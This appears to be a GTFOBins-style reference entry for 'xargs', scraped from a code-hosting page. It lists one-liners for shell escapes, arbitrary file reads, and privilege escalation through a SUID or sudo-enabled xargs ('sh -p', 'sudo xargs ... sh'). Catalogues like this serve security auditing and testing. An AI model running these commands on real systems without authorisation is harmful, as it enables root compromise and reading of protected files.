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Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
23 lines
733 B
Markdown
23 lines
733 B
Markdown
---
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functions:
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execute-interactive:
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- description: GNU version only.
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code: xargs -a /dev/null sh
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- code: echo x | xargs -Iy sh -c 'exec sh 0<&1'
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- description: Read interactively from `stdin`.
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code: |
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xargs -Ix sh -c 'exec sh 0<&1'
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x^D^D
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file-read:
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- description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
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code: |
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LFILE=file_to_read
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xargs -a "$LFILE" -0
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suid-enabled:
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- description: GNU version only.
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code: ./xargs -a /dev/null sh -p
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sudo-enabled:
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- description: GNU version only.
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code: sudo xargs -a /dev/null sh
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---
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